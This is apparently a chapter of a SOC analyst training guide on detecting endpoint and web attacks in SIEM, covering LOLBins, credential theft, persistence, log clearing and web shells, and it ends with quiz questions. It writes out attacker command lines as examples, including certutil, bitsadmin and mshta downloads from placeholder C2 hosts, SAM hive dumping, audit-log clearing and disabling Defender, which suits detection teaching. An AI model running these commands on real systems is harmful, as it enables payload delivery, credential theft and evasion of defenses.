6.1 Host and Application-Level Incident Detection Use Cases
Key Takeaways
- Living-off-the-land binaries (LOLBins) such as powershell.exe, certutil.exe, and mshta.exe repurpose trusted system tools to execute malicious payloads without introducing foreign executables.
- Anomalous parent-child process relationships, specifically office productivity suites (winword.exe, excel.exe) or web servers (w3wp.exe) spawning command interpreters (cmd.exe, powershell.exe), serve as primary indicators of endpoint exploitation.
- Credential theft attacks are detectable via Sysmon Event ID 10 for unauthorized LSASS memory handles, Security Event ID 4688 for SAM registry hive dumping, and Security Event ID 4769 with RC4 encryption (0x17) for Kerberoasting.
- Adversary persistence relies heavily on Scheduled Tasks (Event ID 4698), Registry Run key additions, and new Windows Service installations (Event ID 7045), while audit-log clearing can produce Event ID 1102 and should be mapped to the current ATT&CK Stealth or Defense Impairment context as applicable.
- Web application attack triage in SIEM involves correlating web server access logs and WAF telemetry for SQL injection patterns, directory traversal sequences, and web shells spawning administrative shells.
Endpoint Attack Detection Scenarios and LOLBins
Modern endpoint intrusions rarely rely on uncompiled, custom malware binaries that trigger static signature detections. Instead, advanced threat actors leverage Living-off-the-Land Binaries (LOLBins)—legitimate, digitally signed operating system utilities native to Windows environments—to download payloads, bypass application allowlisting (such as AppLocker or Windows Defender Application Control), execute arbitrary scripts, and execute post-exploitation commands. In a Security Operations Center (SOC), detection engineers and Tier 1 analysts must understand the dual-use nature of these binaries, their command-line syntax, and how to identify malicious invocations within endpoint detection telemetry.
Living-off-the-Land Binaries (LOLBins)
Adversaries exploit trusted system utilities because their presence on disk does not generate alerts, and standard system administration tasks frequently utilize them. The SOC analyst must inspect process execution arguments captured by endpoint sensors (e.g., Windows Security Event ID 4688 with command-line auditing enabled, or Sysmon Event ID 1):
- PowerShell (
powershell.exe):- Adversaries frequently bypass execution policies and conceal scripts using encoded commands:
powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Enc <Base64_Payload>. - Detection Logic: Monitor process creation events where
CommandLinecontains-enc,-encodedcommand,-bxor,DownloadString,IEX, orNet.WebClient.
- Adversaries frequently bypass execution policies and conceal scripts using encoded commands:
- CertUtil (
certutil.exe):- Originally intended for certificate verification and enrollment, attackers abuse CertUtil to download remote malware payloads and decode Base64 files:
certutil.exe -urlcache -split -f https://malicious-c2.net/payload.bin update.exe. - Detection Logic: Alert on any instance of
certutil.exespawned with command-line parameters matching-urlcache,-split, or-decodeoutside of administrative maintenance windows.
- Originally intended for certificate verification and enrollment, attackers abuse CertUtil to download remote malware payloads and decode Base64 files:
- Microsoft HTML Application Host (
mshta.exe):- Executes
.htafiles and inline VBScript or JScript, frequently bypassing browser-level sandboxes:mshta.exe vbscript:Close(Execute("GetObject(""script:https://evil.org/stage1.sct"")")). - Detection Logic: Inspect any network connection initiated by
mshta.exeor instances wheremshta.exeis passed an HTTP/HTTPS URL or inline script syntax in its command line.
- Executes
- Rundll32 (
rundll32.exe):- Used to execute exported entry points of Dynamic Link Libraries (DLLs). Threat actors execute arbitrary remote payloads or bypass script execution blocks:
rundll32.exe C:\Users\Public\malware.dll,EntryPointor calling inline scripts. - Detection Logic: Flag
rundll32.exeexecuting without command-line arguments, executing functions from unusual paths (C:\Users\*\AppData\Local\Temp\), or invoking script protocols (javascript:,vbscript:).
- Used to execute exported entry points of Dynamic Link Libraries (DLLs). Threat actors execute arbitrary remote payloads or bypass script execution blocks:
- Background Intelligent Transfer Service (
bitsadmin.exe):- Windows service designed for background file transfers. Attackers use it to fetch stages stealthily:
bitsadmin.exe /transfer myDownloadJob /priority foreground https://c2.net/bad.exe C:\Users\Public\bad.exe. - Detection Logic: Alert on
bitsadmin.exeexecutions specifying/transferor/addfilepointing to external IP addresses or untrusted domains.
- Windows service designed for background file transfers. Attackers use it to fetch stages stealthily:
[Sample Malicious LOLBin Process Command Line]
Process: C:\Windows\System32\certutil.exe
PID: 4982
Parent: C:\Windows\System32\cmd.exe (PID 3120)
User: DOMAIN\bob.finance
Command Line: certutil.exe -urlcache -split -f https://storage-relay.internal-update.com/svc.bin C:\Users\Public\svc.exe
Hash (SHA256): 9a1c9e99a77c86a8a7098e9a2636f1b1c3138b32128cd6e5efbbfadbb0934024
Parent-Child Process Anomalies
Under normal enterprise operating conditions, system and user processes follow deterministic parent-child execution hierarchies. When an adversary exploits an application vulnerability (such as a remote code execution bug in an office suite or an unpatched PDF reader), the hijacked host process will typically spawn an anomalous child process to establish command-line access or download staging tools.
High-Fidelity Anomaly Patterns
- Productivity Software Spawning Shell Interpreters:
- Anomalous Parent: Microsoft Office applications (
winword.exe,excel.exe,powerpnt.exe) or Adobe Acrobat Reader (acrord32.exe). - Illegitimate Child:
cmd.exe,powershell.exe,wscript.exe,cscript.exe,mshta.exe, orcertutil.exe. - Significance: Indicates malicious macro execution (VBA), remote template injection, or document exploit payloads.
- Anomalous Parent: Microsoft Office applications (
- Web Server Daemons Spawning Command Shells:
- Anomalous Parent: Internet Information Services (
w3wp.exe), Apache HTTP Server (httpd.exe), or Nginx (nginx.exe). - Illegitimate Child:
cmd.exe,powershell.exe,/bin/sh,/bin/bash, orwhoami.exe. - Significance: Strong indicator of a web shell execution, SQL injection command execution (
xp_cmdshell), or local file inclusion exploit.
- Anomalous Parent: Internet Information Services (
- System Process Anomalies:
- Expected Parent of
smss.exe: System (PID 4). - Expected Parent of
csrss.exeandwinlogon.exe:smss.exe. - Expected Parent of
services.exeandlsass.exe:winlogon.exe. - Expected Parent of
svchost.exe:services.exe. - Significance: If
svchost.exeis spawned byexplorer.exeorcmd.exe, or iflsass.exehas any parent other thanwinlogon.exe, the process is masquerading or represents active code injection.
- Expected Parent of
Credential Theft Detection Mechanisms
Once initial access is established, adversaries attempt to extract plaintext passwords, NTLM hashes, and Kerberos tickets to fuel lateral movement. The SOC correlation engine must detect credential harvesting operations targeting operating system memory and security account stores.
LSASS Memory Dumping
The Local Security Authority Subsystem Service (lsass.exe) caches user credentials, Kerberos tickets, and NTLM password hashes in memory. Tools like Mimikatz or built-in utilities like procdump.exe access LSASS process memory to extract these credentials.
- Sysmon Event ID 10 (ProcessAccess):
- Captures when a process opens a handle to another process with specific access rights.
- Detection Signature:
TargetImage = C:\Windows\System32\lsass.exewhereGrantedAccessincludes rights such as0x1010(Query Limited Information + Read),0x1410, or0x1F0FFF(PROCESS_ALL_ACCESS). - Source Images: Watch for unusual source processes such as
powershell.exe,rundll32.exe,taskmgr.exe, or unsigned binaries requesting LSASS memory handles.
SAM Registry Hive Dumping
The Security Account Manager (SAM) database stores local user account password hashes. Although protected by operating system file locks, adversaries attempt to export the SAM and SYSTEM registry hives using the native reg.exe tool.
- Command Line & Windows Security Event ID 4688:
reg save HKLM\SAM C:\Windows\Temp\sam.savereg save HKLM\SYSTEM C:\Windows\Temp\system.save- Detection Logic: Alert on Event ID 4688 where the command-line contains
regorreg.exewithsaveand referenceshklm\samorhklm\system.
Kerberoasting
Kerberoasting allows an attacker with valid domain credentials to request Kerberos Ticket Granting Service (TGS) service tickets for any service account possessing a registered Service Principal Name (SPN). The attacker extracts the ticket offline and brute-forces the password hash.
- Windows Security Event ID 4769 (A Kerberos service ticket was requested):
- Ticket Encryption Type:
0x17indicates RC4-HMAC, which is far more susceptible to offline dictionary attacks than modern AES-128 (0x12) or AES-256 (0x13). - Ticket Options: Commonly contains
0x40810000(forwardable, renewable, canonicalize). - Detection Logic: High volume of Event ID 4769 requests originating from a single user account within a brief timeframe, targeting multiple SPNs, and requesting encryption type
0x17.
- Ticket Encryption Type:
Pass-the-Hash (PtH) and Pass-the-Ticket (PtT)
- Pass-the-Hash: Uses stolen NTLM hashes to authenticate across the network without cracking the plaintext password. Correlated in Windows Security Event ID 4624 as a Logon Type 3 (Network) or Logon Type 9 (NewCredentials) with
Authentication Package: NTLMrather than Kerberos in an enterprise domain where Kerberos is standard. - Pass-the-Ticket: Involves stealing or forging Kerberos tickets (Silver and Golden tickets). Detected by monitoring Event ID 4624 Type 3 logons exhibiting anomalous client names or ticket lifetimes exceeding default domain policy (e.g., tickets valid for 10 years).
Persistence and Stealth Mechanisms
Adversaries install persistence mechanisms to ensure access survives system reboots, user logoffs, and credential rotations. Simultaneously, they may use stealth techniques to conceal activity or defense-impairment techniques to degrade security controls and telemetry.
| Persistence / Evasion Mechanism | Telemetry Source & Event ID | Detection Logic / Indicator | Severity |
|---|---|---|---|
| Scheduled Task Creation | Security Event ID 4698 / TaskScheduler ID 106 | Task created executing scripts (.ps1, .bat, .vbs) or executables in C:\Users\Public\ or C:\ProgramData\ | High |
| Registry Run Key Modification | Sysmon Event ID 12/13 | Writes to HKLM\Software\Microsoft\Windows\CurrentVersion\Run or HKCU\...\Run pointing to non-standard paths | Medium |
| Windows Service Installation | System Event ID 7045 / Security ID 4697 | New service created with ServiceType: user mode, ImagePath referencing LOLBins or suspicious directories | High |
| Security Event Log Cleared | Security Event ID 1102 / System ID 104 | The audit log was cleared (wevtutil cl Security or Clear-EventLog) | Critical |
| Disabling Antivirus / EDR | PowerShell Event ID 4104 / Security ID 4688 | Set-MpPreference -DisableRealtimeMonitoring $true or modifying Defender registry policies | Critical |
Scheduled Tasks (Event ID 4698)
When adversaries execute schtasks.exe /create /tn "SecurityHealthUpdate" /tr "powershell.exe -w hidden -enc ..." /sc onlogon, the operating system records Windows Security Event ID 4698. Analysts must inspect the <TaskDefinition> XML structure to extract the Action path and arguments.
Service Installation (Event ID 7045)
System Event ID 7045 logs new service creation. Critical fields include ServiceName, ImagePath (which reveals the binary or script), and AccountName (such as LocalSystem). Malicious services often impersonate legitimate software (e.g., WindowsUpdateSvc) but execute from temporary folders.
Stealth: Event Log Clearing
Clearing security logs is a high-confidence indicator of active intrusion. Event ID 1102 specifically states: "The audit log was cleared." It records the Subject User Account who initiated the purge. In modern SOCs, Event ID 1102 triggers an immediate Severity 1 critical alert requiring instant triage.
Web Application Attack Detection in SIEM
Public-facing web applications are prime initial access vectors. Web server access logs (IIS W3C logs, Apache combined access logs, Nginx logs) and Web Application Firewall (WAF) events must be ingested into SIEM correlation rules.
SQL Injection (SQLi)
Adversaries inject structured database queries to bypass authentication or extract backend databases.
- Detection Rule: SIEM regex parsing HTTP request URIs and POST bodies for SQL keywords and syntax:
(?i)(\bunion\b.*\bselect\b|'\s+or\s+'?1'?='?1|waitfor\s+delay|information_schema|benchmark). - Triage Verification: Check HTTP status codes. A
200 OKwith large response size indicates potential successful extraction, whereas403 Forbiddenor500 Internal Errorpoints to blocked attempts or syntax failures.
Path Traversal / Local File Inclusion (LFI)
Threat actors attempt to navigate beyond the web root to access sensitive configuration files or operating system stores.
- Detection Rule: Match URL patterns containing directory traversal sequences:
(?:\.\./|\.\.\\|%2e%2e%2f|%2e%2e/|%252e%252e%252f)targeting files like/etc/passwd,/etc/shadow,boot.ini, orwindows\win.ini.
Web Shell Execution
Attackers upload scripts (.aspx, .php, .jsp) to web directories to maintain persistent command execution.
- Endpoint Correlation: A critical correlation rule combines Web Server File Drops (Sysmon Event ID 11 in
C:\inetpub\wwwroot\or/var/www/html/) with subsequent process creation wherew3wp.exe,httpd, orphp-fpmspawnscmd.exe,powershell.exe, or/bin/sh.
Comprehensive Host & Application Detection Scenarios Table
| Threat Scenario | ATT&CK Technique ID | Data Source & Event ID | Detection Logic / Query | Severity | Typical False Positives |
|---|---|---|---|---|---|
| Encoded PowerShell Execution | T1059.001 | Sysmon ID 1 / Security ID 4688 | process_name:powershell.exe AND command_line:(*-enc* OR *-encodedcommand*) | High | Administrative maintenance scripts, SCCM deployment packages |
| CertUtil Ingress Transfer | T1105 | Sysmon ID 1 / Security ID 4688 | process_name:certutil.exe AND command_line:(*-urlcache* OR *-split*) | High | Automated certificate enrollment and revocation checks |
| Office Spawning Shell | T1059.003 / T1204.002 | Sysmon ID 1 / EDR Telemetry | parent_process:(winword.exe OR excel.exe) AND child_process:(cmd.exe OR powershell.exe) | Critical | Custom internal macro tools running legitimate batch utilities |
| LSASS Memory Handle Request | T1003.001 | Sysmon ID 10 | target_image:*\lsass.exe AND granted_access:(0x1010 OR 0x1410 OR 0x1F0FFF) | High | Antivirus/EDR agents, VMware tools, Windows Defender credential scans |
| SAM Hive Dump via Reg.exe | T1003.002 | Security ID 4688 | process_name:reg.exe AND command_line:(*save* AND *sam*) | High | Enterprise backup solutions performing system state backups |
| Kerberoasting via RC4 Ticket | T1558.003 | Security ID 4769 | event_id:4769 AND encryption_type:0x17 AND ticket_options:0x40810000 | High | Legacy applications authenticating using legacy service accounts |
| Scheduled Task Persistence | T1053.005 | Security ID 4698 | event_id:4698 AND task_content:(*powershell* OR *cmd.exe* OR *AppData*) | Medium | Software auto-updaters (Google Chrome, Adobe Acrobat update tasks) |
| Audit Log Cleared | T1070.001 | Security ID 1102 / System ID 104 | event_id:(1102 OR 104) | Critical | System re-imaging, automated log roll-over scripts in misconfigured labs |
| Web Shell Command Execution | T1505.003 | Sysmon ID 1 / EDR Telemetry | parent_process:(w3wp.exe OR httpd.exe) AND child_process:(cmd.exe OR powershell.exe) | Critical | Legitimate administrative management plugins within web CMS software |
A Tier 1 SOC analyst observes an alert where a native Windows utility executed with the command line: certutil.exe -urlcache -split -f https://malicious-c2.net/payload.bin C:\Users\Public\update.exe. What threat technique and detection category does this activity represent?
During a threat hunting exercise in Active Directory environment logs, an analyst filters for Windows Security Event ID 4769. Which specific condition in the event data indicates a potential Kerberoasting attack?
An endpoint detection rule fires when the Internet Information Services (IIS) worker process w3wp.exe spawns cmd.exe, which subsequently executes whoami and net user. What is the most likely root cause and immediate triage assessment?
An adversary on a compromised host attempts credential access by executing reg.exe save HKLM\SAM C:\Windows\Temp\sam.save and reg.exe save HKLM\SYSTEM C:\Windows\Temp\system.save. Which telemetry source and specific event identifier records this activity for SIEM detection?